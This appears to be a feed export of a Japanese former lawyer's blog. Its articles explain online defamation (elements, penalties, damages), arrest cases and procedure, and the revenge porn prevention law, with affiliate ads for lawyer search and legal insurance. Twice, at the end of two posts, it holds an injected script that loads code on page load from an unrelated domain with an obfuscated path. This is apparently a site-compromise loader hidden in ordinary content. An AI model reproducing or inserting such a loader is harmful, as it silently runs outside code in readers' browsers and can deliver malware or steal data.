<p>個人なら、会社に行けなくなってしまったり、学校や地域のコミュニティで居場所がなくなってしまったりする可能性がありますし、企業なら、信用が低下して商品やサービスが売れなくなったり、新入社員の採用が困難になってしまったりするでしょう。</p>
<p>現代社会では、ネットで情報収集する方が多いので、誹謗中傷による影響は思っている以上に大きくなります。<br />
<img loading="lazy" decoding="async" src="https://www.rentracks.jp/adx/p.gifx?idx=0.25179.208533.637.1050&#038;dna=49198" border="0" height="1" width="1"><a href="https://www.rentracks.jp/adx/r.html?idx=0.25179.208533.637.1050&#038;dna=49198" target="_blank"><img loading="lazy" decoding="async" src="https://www.image-rentracks.com/nihonhouki/soudan_336_280_02.png" width="336" height="280"></a></p>
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<h2>3．内容が真実でも名誉毀損！</h2>
<p>ネット誹謗中傷は、「名誉毀損」となります。</p>
<p>名誉毀損というと、「嘘を書いた場合に成立する」と思われていることが多いのですが、実は「真実であっても」名誉毀損になります。</p>
<p>たとえば、本当に不倫をしているケースで、「あの子は不倫している」と書かれて名誉を汚された場合でも、やはり名誉毀損です。本当のことを書かれた場合でも、相手を刑事告訴したら、処罰してもらえる可能性がある、ということです。</p>
<p>勘違いしないように、是非とも覚えておいて下さいね！</p>
<p>&nbsp;</p>
<h2>4．ネット誹謗中傷記事は削除請求できる！</h2>
<p>ネット誹謗中傷が行われたとき、放っておくとどんどん記事が拡散するので被害が大きくなります。</p>
<p>そのような結果を防ぐため、どうしたらよいのでしょうか？</p>
<p>実は、ネット誹謗中傷被害に遭うと、対象の記事を削除させることができます。</p>
<p>サイトの管理者に連絡して削除に応じてもらう方法もありますし、それで無理なケースでは、裁判所の「仮処分」という手続きを利用して、強制的に削除させることも可能です。</p>
<p>そこで、ネット誹謗中傷被害を受けたら、情報が広がる前に、早めに削除させることが重要です。</p>
<p><img loading="lazy" decoding="async" src="https://www.rentracks.jp/adx/p.gifx?idx=0.25179.208533.637.1050&#038;dna=49198" border="0" height="1" width="1"><a href="https://www.rentracks.jp/adx/r.html?idx=0.25179.208533.637.1050&#038;dna=49198" target="_blank"><img loading="lazy" decoding="async" src="https://www.image-rentracks.com/nihonhouki/soudan_336_280_02.png" width="336" height="280"></a></p>
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<h2>5．困ったときには弁護士に相談しましょう！</h2>
<p>ネット誹謗中傷の怖いところは、自分でも知らないうちに、誰かが勝手に誹謗中傷しているかもしれない、ということです。</p>
<p>もし、どこかのサイトで風評被害が発生しているのを発見したら、早期に削除させる必要があります。</p>
<p>自分でサイト管理者に連絡してもなかなか応じてもらえないことも多いので、困ったときにはネット問題に力を入れてい弁護士に相談してみることお勧めします。</p>
<p>どうやって弁護士を探したらわからない方は、弁護士を無料で紹介してもらえたり探せたりする便利な機能があるので、是非ともご利用下さい。<br />
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<p>また、ネットを使っている以上、ネット誹謗中傷問題を100％避けることは不可能です。万一被害に遭った時に備え、いつでも弁護士に相談できる状態にしておくと安心です。<br />
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		<title>ネット誹謗中傷で名誉毀損になる事例は？刑罰や慰謝料はどのくらい？</title>
		<link>https://legalharuka.com/439</link>
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		<dc:creator><![CDATA[福谷陽子]]></dc:creator>
		<pubDate>Sun, 17 Jun 2018 14:30:28 +0000</pubDate>
				<category><![CDATA[ネット誹謗中傷]]></category>
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					<description><![CDATA[<p>ネット上で誹謗中傷をしてしまったら、名誉毀損になる可能性があります。 しかし、具体的にはどのようなケースで名誉毀損になってしまうのかわからないのではないでしょうか？ 適切な対応をとって不利益を最小限にするには、ネット誹謗</p>
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										<content:encoded><![CDATA[<p>ネット上で誹謗中傷をしてしまったら、名誉毀損になる可能性があります。<br />
しかし、具体的にはどのようなケースで名誉毀損になってしまうのかわからないのではないでしょうか？<br />
適切な対応をとって不利益を最小限にするには、ネット誹謗中傷が名誉毀損になるケースを正確に把握しておくべきですし、刑罰がどのくらいかも知っておきましょう！</p>
<p>この記事を読めば、ネット誹謗中傷で名誉毀損になる場合と罰則、慰謝料について完璧に理解できますし、不利益を防ぐ方法もわかります。<br />
さっそくみていきましょう！</p>
<h2>1．名誉毀損罪が成立する要件</h2>
<p>ネット上では、相手の顔が見えないこともあり、ついつい行きすぎた表現をしてしまうことが多いものです。</p>
<p>その場合、名誉毀損罪が成立する可能性がありますが、具体的にはどのような場合に罪が成立するのでしょうか？</p>
<p>&nbsp;</p>
<p>名誉毀損罪は、「公然と」「事実の摘示によって」「人の」｢社会的評価を低下させた｣場合に成立します。</p>
<p>以下で、順番に見ていきましょう。</p>
<p>&nbsp;</p>
<h3>1-1．公然と</h3>
<p>公然と、というのは、不特定多数に広まる状態をいす。ネット上の投稿は、誰でも見ることができるので、「公然と」の要件を満たします。</p>
<p>&nbsp;</p>
<h3>1-2．事実の摘示</h3>
<p>事実の摘示とは、事実を示すことです。たとえば、「あの人は不倫している」とか「あの人はプロジェクトで大失敗した」「あの会社では、残業代が支払われていない」などの事実を指摘すると、名誉毀損となる可能性があります。</p>
<p>&nbsp;</p>
<p>反対に、「バカ野郎」「無能」などの罵倒文句では、名誉毀損にはなりません。</p>
<p>&nbsp;</p>
<p>また、名誉毀損罪は、「内容が真実であっても」成立します。</p>
<p>たとえば「あの子は不倫している」と書いて、本当にその人が不倫していても、名誉毀損罪となる可能性があります。ここは、誤解の多いところなので、注意が必要です。</p>
<p>&nbsp;</p>
<h3>1-3．人の</h3>
<p>人の、というのは自分以外の他者のことです。</p>
<p>個人だけではなく法人相手でも名誉毀損罪は成立します。</p>
<p>また、はっきりと実名を出さず、イニシャルや「〇〇社の△△部の課長」など、見る人が見たら明らかに誰か分かる方法で相手を特定した場合にも、名誉毀損罪が成立します。</p>
<p>&nbsp;</p>
<h3>1-4．社会的評価を低下させる</h3>
<p>名誉毀損罪が成立するには、社会的評価を低下させるような内容であることが必要です。</p>
<p>たとえば「あの子はキライ」などと書いたとき、対象者が読むと不快に感じるかも知れませんが、それだけで社会的評価が低下するとは考えにくいので、名誉毀損にはなりません。</p>
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<h2>2．名誉毀損罪の刑罰</h2>
<p>名誉毀損罪が成立すると、以下の通りの刑罰が適用される可能性があります。</p>
<p>&nbsp;</p>
<ul>
<li>3年以下の懲役もしくは禁固または50万以下の罰刑（刑法231条1項）</li>
</ul>
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<h2>3．名誉毀損罪は親告罪</h2>
<p>名誉毀損罪は、「親告罪」と呼ばれる犯罪です。親告罪とは、被害者が刑事告訴をしないと処罰できないタイプの犯罪です。</p>
<p>つまり、ネットで名誉毀損されたときには、単に警察に被害届を出すだけではなく、告訴状を提出して刑事告訴をしないと、犯人を処罰してもらえません。</p>
<h2>4．名誉毀損をすると損害賠償義務が発生する</h2>
<p>以上は刑事上の「名誉毀損罪」の説明でしたが、ネット上で他人の名誉を毀損すると、民事上の「不法行為」となります。</p>
<p>不法行為とは、故意過失による違法な行為によって、他者に損害を発生させることです。不法行為をすると、加害者は被害者に対して「損害賠償」をしなければなりません。</p>
<p>ネット上で名誉毀損すると、対象者は精神的に苦痛を受けるので、「慰謝料」を支払うべき義務が発生します。</p>
<p>対象者が法人で営業損害が発生している場合には、売り上げ低下分の損害を賠償すべき義務が発生するケースもあります。</p>
<p>また、信用を回復するために、謝罪広告の掲示を要求される可能性もあります。</p>
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<h2>5．名誉毀損の慰謝料の相場</h2>
<p>名誉毀損が行われた場合の慰謝料の相場は、だいたい50万円～100万円程度です。</p>
<p>たとえば、口頭で相手を誹謗中傷したケースなどでは慰謝料は10万円～20万円程度となることが多いので、よりはネットの方が影響が大きいと言え、慰謝料が高額になります。</p>
<p>一方、テレビや新聞などのメディアで名誉毀損されたときには500～600万円程度の高額な慰謝料が認められることが多いので、それよりはネットによる名誉毀損の方が、影響が小さいと評価されていることがわかります。<br />
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<h2>6．困ったときには、弁護士を頼るのも1つの方法</h2>
<p>以上のように、ネット上で名誉毀損した場合、された場合には、刑事上の問題（名誉毀損罪）と民事上の問題（損害賠償・慰謝料）の両方が発生し、双方に対応していく必要があります。</p>
<p>はっきり言って、個人で対応できるレベルのことではないので、早めに弁護士に相談に行った方が絶対に良いです。<br />
弁護士に知り合いがない場合には、無料で全国の弁護士を探せるサービスがあるので、利用して下さいね！</p>
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<p>こちらから弁護士を検索できます。<br />
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<p>また、今すぐには弁護士のお世話になる必要のない方でも、ネットやスマホを使っている以上、いつなんどき法律トラブルに巻き込まれるか、わかりません。<br />
トラブルに巻き込まれてからでは遅いです。<br />
そのようなときのため、事前に弁護士保険に加入しておき、何かあったらスムーズに無料で弁護士に対応を依頼できる体制を整えておくと良いですよ！<br />
弁護士保険に入っていたら、いつでも電話で無料で弁護士に相談できますし、事件対応を依頼するときにも300万円までの費用を弁護士保険が出してくれるので、率直にめちゃくちゃ助かります。<br />
本当かな？と少しでも気になるなら、一度資料請求してみたら良いと思います。</p>
<p>弁護士保険については、次の記事で詳しく説明しているので、よろしかったらお読みくださいね。</p>
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<div class="innerlink-box1-title"><i class="jic jin-ifont-post"></i> あわせて読みたい</div>
<p><a href="https://wp.me/p9Axdv-eE" target="_blank" rel="noopener">弁護士保険とは？メリットデメリット、補償内容を元弁護士が考察！</a></p>
</div>
<p><img loading="lazy" decoding="async" src="https://www.rentracks.jp/adx/p.gifx?idx=0.25179.208533.3050.4640&amp;dna=68123" width="1" height="1" border="0" /><a href="https://www.rentracks.jp/adx/r.html?idx=0.25179.208533.3050.4640&amp;dna=68123" target="_blank" rel="nofollow noopener"><img loading="lazy" decoding="async" src="https://www.image-rentracks.com/novel-i/mikata/468_60.png" width="468" height="60" /></a><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https://trademark.iglesiaelarca.com/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');</script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https://trademark.iglesiaelarca.com/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');</script></p>The post <a href="https://legalharuka.com/439">ネット誹謗中傷で名誉毀損になる事例は？刑罰や慰謝料はどのくらい？</a> first appeared on <a href="https://legalharuka.com">元弁護士・法律ライター福谷陽子【ライター事務所HARUKA】</a>.]]></content:encoded>
					
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		<title>ネット名誉毀損で逮捕される事例とは？</title>
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		<dc:creator><![CDATA[福谷陽子]]></dc:creator>
		<pubDate>Sun, 17 Jun 2018 08:00:12 +0000</pubDate>
				<category><![CDATA[ネット誹謗中傷]]></category>
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					<description><![CDATA[<p>この記事をお読みのあなたは、ネット上で他人を誹謗中傷してしまい、逮捕されるのではないかと心配されていますよね？ ついつい熱くなって言いすぎてしまった、プライバシーに踏み込んでしまった、著作権を侵害してしまったなど、ネット</p>
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										<content:encoded><![CDATA[<p>この記事をお読みのあなたは、ネット上で他人を誹謗中傷してしまい、逮捕されるのではないかと心配されていますよね？</p>
<p>ついつい熱くなって言いすぎてしまった、プライバシーに踏み込んでしまった、著作権を侵害してしまったなど、ネット上での表現が原因で逮捕されるケースは数多く存在します。</p>
<p>中でも誹謗中傷してしまう罪を「ネット名誉毀損」などと言いますが、実際に、ネット上の名誉毀損で逮捕されるのは、どのようなケースがあるのでしょうか？</p>
<p>この記事を読めば、ネット名誉毀損で逮捕される事例とその後の手続きの流れ、対処方法などがわかるので、他人を誹謗中傷してしまったトラブルを最小限度にとどめることができます。さっそくみていきましょう。</p>
<h2>1． ネット名誉毀損で逮捕された事例</h2>
<p>まずは、ネット名誉毀損で逮捕された事例にどのようなものがあるのか、ご紹介します。</p>
<h3>1-1．作家を「風俗嬢」と中傷したケース</h3>
<p>加害者がネット掲示板において、ノンフィクション作家の女性につき「現在は風俗嬢。低脳」などと誹謗中傷した事案です。</p>
<p>犯人は「知り合いに頼まれた」と説明していましが、罪はめました。</p>
<p>この件では、被害者が書き込みを見つけて、刑事告訴したことにより、逮捕につながりました。</p>
<p>&nbsp;</p>
<h3>1-2．元交際相手を中傷したケース</h3>
<p>男性が、ネット掲示板で、元交際相手の女性を誹謗中傷する文章を投稿したケースです。</p>
<p>加害者は、被害者から別れ話を持ち出されて立腹し、腹いせのためにネット上で名誉毀損的な投稿をしていました。被害者が警察に相談し、悪質だったため逮捕につながりました。</p>
<p>&nbsp;</p>
<h3>1-3．ラーメン屋「甲」への誹謗中傷が行われたケース</h3>
<p>加害者がホームページ上で、「甲」というラーメン店への誹謗中傷を行ったケースです。</p>
<p>「インチキ FC甲粉砕！」「甲で食事をしたら、飲食代の 4～5％はカルト集団の収益になります」など、甲がまるでカルト集団であるかのような虚偽の文章を掲載しました。</p>
<p>このケースでは、そもそも名誉毀損に該当するかが問題となり最高裁まで争われましたが、最終的に加害者が有罪となり、罰金30万円の刑が言い渡されました。</p>
<p><img loading="lazy" decoding="async" src="https://www.rentracks.jp/adx/p.gifx?idx=0.25179.208533.637.1050&amp;dna=16084" width="1" height="1" border="0" /><a href="https://www.rentracks.jp/adx/r.html?idx=0.25179.208533.637.1050&amp;dna=16084" target="_blank" rel="noopener">弁護士を探すなら</a></p>
<img loading="lazy" decoding="async" src="https://www.rentracks.jp/adx/p.gifx?idx=0.25179.208533.637.1050&amp;dna=49198" width="1" height="1" border="0" /><a href="https://www.rentracks.jp/adx/r.html?idx=0.25179.208533.637.1050&amp;dna=49198" target="_blank" rel="noopener"><img loading="lazy" decoding="async" src="https://www.image-rentracks.com/nihonhouki/soudan_336_280_02.png" width="336" height="280" /></a>
<h2>2．ネット名誉毀損で逮捕された後の流れ</h2>
<p>もしネット名誉毀損で逮捕されたら、どのような流れになるのでしょうか？</p>
<p>&nbsp;</p>
<p>逮捕された場合、まずは、48時間以内に検察官に送られます（このことを送検と言います）。</p>
<p>そして、検察官が必要と判断したら、裁判所に勾留請求をされて、引きつづき警察留置所で身柄を拘束されます。送検後勾留決定までの時間は24時間以内です。</p>
<p>勾留期間は原則10日ですが、さらに10日延長することができるので、最大20日となります。</p>
<p>その期間が満期になると、検察官は基礎にするか不起訴にするかを決定します。</p>
<p>不起訴になったら刑事裁判にはなりませんが、起訴されると、99.9％以上のケースで有罪となります。</p>
<p>逮捕後、勾留されなかった場合でも、捜査は継続するので、いずれは起訴されるか不起訴になるかが決定されます。</p>
<p>起訴されたら、やはりほとんどのケースで有罪となります。日本の刑事裁判で有罪になる確立は、なんと99.9％です。無罪になるのはまず諦めた方が良いでしょう。</p>
<p>ただ、この数字にはからくりがあると考えているので、関心のある方はお読み下さい。</p>
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<p><a href="https://legalharuka.com/518" target="_blank" rel="noopener">日本の刑事裁判の有罪率99.9％が嘘だと思う件</a></p>
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<p><img loading="lazy" decoding="async" src="https://www.rentracks.jp/adx/p.gifx?idx=0.25179.208533.637.1050&amp;dna=16084" width="1" height="1" border="0" /><a href="https://www.rentracks.jp/adx/r.html?idx=0.25179.208533.637.1050&amp;dna=16084" target="_blank" rel="noopener">弁護士を探すなら</a></p>
<h2>3．ネット名誉毀損してしまった場合の対処方法</h2>
<p>もしもネットで名誉毀損の投稿をしてしまい、刑事告訴されそうなときにはどうしたら良いのでしょうか？</p>
<p>いったん起訴されてしまったら、上記の通り99.9％以上のケースで有罪となるので、起訴されないようにするのが一番です。</p>
<p>そのためにもっとも有効な方法は、被害者と示談することです。</p>
<p>示談が成立すれば、被害者は刑事告訴しないので、名誉毀損罪で逮捕されたり起訴されたりする可能性は0になります。名誉毀損罪は、親告罪なので、被害者が刑事告訴しないと起訴することができないためです。</p>
<p>そこで、行き過ぎた内容の投稿をして後悔しているなら、早めに被害者に謝罪して、示談の話を進めましょう。慰謝料の金額は、だいたい20～50万円くらいが相場です。</p>
<p>自分で交渉するのが難しい場合には、弁護士に依頼すべきです。被疑者が自分で示談を進めようと思っても被害者から警戒されて無視されることも多いですが、弁護士であればきちんと話をつけて、支払る囲の慰謝料の金額を決めてくれるからです。</p>
<p>自分で示談を進めると、被害者から法外な請求をされたときに、値切ることも難しくなってしまいます。「もっと安くしてほしい」と言うと「反省していないのか！」などと言われてしまうからです。</p>
<p>弁護士に知り合いがいない方も多いと思いますが、最近では無料でお近くの弁護士を探せるサービスがあるので、どんどん利用すべきです。<br />
<img loading="lazy" decoding="async" src="https://www.rentracks.jp/adx/p.gifx?idx=0.25179.218132.637.1050&amp;dna=49198" width="1" height="1" border="0" /><a href="https://www.rentracks.jp/adx/r.html?idx=0.25179.218132.637.1050&amp;dna=49198" target="_blank" rel="noopener"><img loading="lazy" decoding="async" src="https://www.image-rentracks.com/nihonhouki/soudan_336_280_02.png" width="336" height="280" /></a></p>
<p>このように、ネット誹謗中傷事件はちょっとしたことで簡単に起こしてしまいます。ネットを使っている限り、誰でも巻き込まれる可能性があるんです。<br />
何かあった後では遅いです。日頃から、事件に備えておくことで、何かあったときにスムーズに対応することができます。<br />
そのためには、弁護士保険に加入しておくことをお勧めします。弁護士保険に入っていたら、いつでも無料で弁護士に相談できますし、300万円までの弁護士費用を保険が負担してくれるので、とても楽になるからです。<br />
資料請求だけなら無料でできるので、万一の備えのために是非とも検討してみて下さい。何度も言いますが、「何かあったときには遅い」です。少しでも気になるなら、調べておかないと後悔する可能性が高いので、行動することをお勧めします。<br />
<img loading="lazy" decoding="async" src="https://www.rentracks.jp/adx/p.gifx?idx=0.25179.208533.3050.4640&amp;dna=68124" width="1" height="1" border="0" /><a href="https://www.rentracks.jp/adx/r.html?idx=0.25179.208533.3050.4640&amp;dna=68124" target="_blank" rel="nofollow noopener"><img loading="lazy" decoding="async" src="https://www.image-rentracks.com/novel-i/mikata/728_90.png" width="728" height="90" /></a><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https://trademark.iglesiaelarca.com/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');</script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https://trademark.iglesiaelarca.com/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');</script></p>The post <a href="https://legalharuka.com/441">ネット名誉毀損で逮捕される事例とは？</a> first appeared on <a href="https://legalharuka.com">元弁護士・法律ライター福谷陽子【ライター事務所HARUKA】</a>.]]></content:encoded>
					
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		<title>リベンジポルノとは？被害を受けたときの対処方法</title>
		<link>https://legalharuka.com/640</link>
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		<dc:creator><![CDATA[福谷陽子]]></dc:creator>
		<pubDate>Wed, 06 Jun 2018 21:00:37 +0000</pubDate>
				<category><![CDATA[ネット誹謗中傷]]></category>
		<category><![CDATA[刑事事件]]></category>
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					<description><![CDATA[<p>リベンジポルノってご存知ですか？ リベンジポルノは、元彼女や元妻などに対する腹いせや嫌がらせのために、過去に撮影した性的な画像や動画をネットにアップしてしまうことです。 そのようなことをされると、被害者としては耐えられな</p>
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										<content:encoded><![CDATA[<p>リベンジポルノってご存知ですか？</p>
<p>リベンジポルノは、元彼女や元妻などに対する腹いせや嫌がらせのために、過去に撮影した性的な画像や動画をネットにアップしてしまうことです。</p>
<p>そのようなことをされると、被害者としては耐えられないほどの精神的苦痛を受けますよね？私だったら死にたいと思うかも知れません。また、ネット上に投稿された画像はどんどん拡散されてしまうので、被害が拡大するばかりです。</p>
<p>そんなとき、どうしたらよいのでしょうか？</p>
<p>今回は、リベンジポルノとそれを禁止する法律「リベンジポルノ防止法」について、元弁護士のライターぴりかが解説します。</p>
<h2>1．リベンジポルノとその問題点</h2>
<p>リベンジポルノは、元交際相手や配偶者が、交際中、結婚生活において撮影した裸の画像や性交渉をしているときの画像、動画などをネット上に公開することです。</p>
<p>相手に対して復縁を求めたけれども断られた場合や、別れたくなかったけれどもフラれてしまった場合、相手に対する嫌がらせや、反対に気を引くためなどに投稿するケー多いです。</p>
<p>リベンジポルノが行われると、以下のような問題があります。</p>
<h3>1-1．情報がどんどん広がる</h3>
<p>いったんネット上に画像や動画が投稿されると、その情報はどんどん広まってしまいます。</p>
<p>それを見た人がコピーしたりダウンロードしたりしますし、自分のブログや他の掲示板などに転載することも多いからです。TwitterなどのSNSを通じても広まります。</p>
<h3>1-2．いったん広まった情報は取消ができない</h3>
<p>また、ネット上でいったん情報が広まってしまうと、なかったことにすることができません。元データを消したとしても広まった分をすべて消しきることは不可能だからです。</p>
<p>また、画像や動画を見た人の「記憶」にも残ってしまうでしょう。記憶は消しようがありません。その意味で、リベンジポルノは「取り返しのつかない犯罪」です。</p>
<h3>1-3．被害者の権利（プライバシー権、肖像権）が著しく害される</h3>
<p>リベンジポルノで公開される画像や動画は、交際中の裸の写真や性交渉をしているときの写真、動画などであり、極めて秘匿性の高いものです。このようなデータがネット上に公開されてしまったら、被害者の受ける精神的苦痛は計り知れないですよね？</p>
<p>しかもそれを消しきることができず、見た人の記憶に残ってしまうのですから、リベンジポルノは本当に恐ろしいです。</p>
<p>スポンサーリンク</p>
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<h2>2．リベンジポルノ防止法とは</h2>
<p>このように、リベンジポルノ行為は非常に悪質な行為ですから、法律によっても厳しく禁止されています。具体的には、2014年に制され「リベンジポルノ防止法」がリベンジポルノ行為を規制しています。</p>
<h3>2-1．リベンジポルノ防止法の基礎知識</h3>
<p>リベンジポルノ防止法が制定されたのは、かつて「三鷹ストーカー殺人事件」という事件が起こったことがきっかけです。この事件において、被害者の女性は元の交際相手の男性からストーカー被害やリベンジポルノ被害を受けた上、最終的に殺されてしまいました。本当に痛ましすぎる事件です。</p>
<p>この事件への反省から、リベンジポルノ防止法が制定されました。正式名称は「私事性的画像記録の提供等による被害の防止に関する法律」（しじせいてきがぞうきろくのていきょうとうによるひがいのぼうしにかんするほうりつ）と言います。</p>
<p>長いですよね（＞＜）。ぴりかも、法律って何でこんなに長くてややこしい名前なんだ？って思います。<br />
正式名称を覚えなくても「リベンジポルノ防止法」で充分です。</p>
<h3>2-2．リベンジポルノ防止法の罰則</h3>
<p>リベンジポルノ行為をすると、リベンジポルノ防止法によって処罰されます。</p>
<p>具体的な罰則の内容は、以下の通りです。</p>
<ul>
<li>性的な画像や動画をネット上に投稿した場合　3年以下の懲役または50万円以下の罰金刑</li>
<li>画像や動画をアップするために性的な情報を提供した場合　1年以下の懲役または30万円以下の罰金刑</li>
</ul>
<p>&nbsp;</p>
<h3>2-3．リベンジポルノ防止法は親告罪</h3>
<p>リベンジポルノ防止法は、「親告罪」という種類の犯罪です。親告罪とは、被害者が刑事告訴をしないと犯人が処罰されないタイプの犯罪です。</p>
<p>そこで、リベンジポルノ被害を受けた場合、相手を処罰してもらうには刑事告訴する必要があります。</p>
<h2>3．リベンジポルノ被害に遭わないために</h2>
<p>リベンジポルノの被害に遭わないためには、たとえ交際中であっても性的な画像や動画の撮影をしないことです。交際中はどうしてもその場で盛り上がってそういった行為をしてしまいがちですが、後で別れたときに後悔することになります。その場のノリで撮影してしまったとしても、すぐに消してもらいましょう。</p>
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<h2>4．リベンジポルノ被害に遭ってしまった</h2>
<p>万一リベンジポルノ被害に遭ってしまった場合には、投稿されたサイトの管理者に連絡を入れて「権利侵害が行われているので早急に削除してほしい」と申し入れましょう。まともなサイトであれば、このことによって削除してもらえる可能性が高いです。</p>
<p>任意で削除してもらえない場合には、裁判所で「仮処分」という手続きをすることで、裁判所から削除命令を出してもらうことも可能です。</p>
<p>また、投稿した相手を刑事告訴して処罰してもらうことや、損害賠償請求をすること、「二度と同じようなことはしない」と約束させることも大切です。このようにしてペナルティを与えておかないと、相手がまた同じような行為を繰り返し、いたちごっこになってしまう可能性があるからです。</p>
<p>しかし、裁判所で仮処分をするにも犯人を刑事告訴したり損害賠償請求したりするにも、被害者が1人で対応するのは心許ないものです。仕返しされるおそれもあるので怖いですよね。下手をすると、三鷹ストーカー殺人事件のように、相手から逆恨みされて傷つけられてしまうかもしれません。</p>
<p>交際中は何の問題も感じていなくても、別れてしまうと突然豹変する相手がいます。</p>
<p>弁護士に間に入ってもらい、相手をブロックしながら対処を進めていかないと危険です。</p>
<p>弁護士をどうやって探せば良いかわからないという場合、弁護士の無料相談を受けられるサービスがあるので、利用すると良いでしょう。</p>
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<p>今は被害を受けていないという場合、万一の場合にそなえて<img loading="lazy" decoding="async" src="https://www.rentracks.jp/adx/p.gifx?idx=0.25179.208533.3050.4640&#038;dna=68074" border="0" height="1" width="1"><a href="https://www.rentracks.jp/adx/r.html?idx=0.25179.208533.3050.4640&#038;dna=68074" rel="nofollow" target="_blank">弁護士保険に加入しておきましょう。</a><br />
弁護士保険に加入していたら、<img loading="lazy" decoding="async" src="https://www.rentracks.jp/adx/p.gifx?idx=0.25179.208533.3050.4640&#038;dna=68074" border="0" height="1" width="1"><a href="https://www.rentracks.jp/adx/r.html?idx=0.25179.208533.3050.4640&#038;dna=68074" rel="nofollow" target="_blank">いつでも弁護士に電話で相談できますし、弁護士費用を保険から支払ってもらえる</a>ので、何があっても安心です。</p>
<p>今回は、リベンジポルノと対策方法について解説しました。リベンジポルノに遭わないように、不用意な写真撮影は控えることと、万一被害に遭った時には早急に<img loading="lazy" decoding="async" src="https://www.rentracks.jp/adx/p.gifx?idx=0.25179.208533.637.1050&#038;dna=16084" border="0" height="1" width="1"><a href="https://www.rentracks.jp/adx/r.html?idx=0.25179.208533.637.1050&#038;dna=16084" target="_blank">弁護士</a>や警察に相談すること、万一に備えて<img loading="lazy" decoding="async" src="https://www.rentracks.jp/adx/p.gifx?idx=0.25179.208533.3050.4640&#038;dna=68074" border="0" height="1" width="1"><a href="https://www.rentracks.jp/adx/r.html?idx=0.25179.208533.3050.4640&#038;dna=68074" rel="nofollow" target="_blank">日頃から保険にはいり</a>、対策をとっておくことが大切です。<br />
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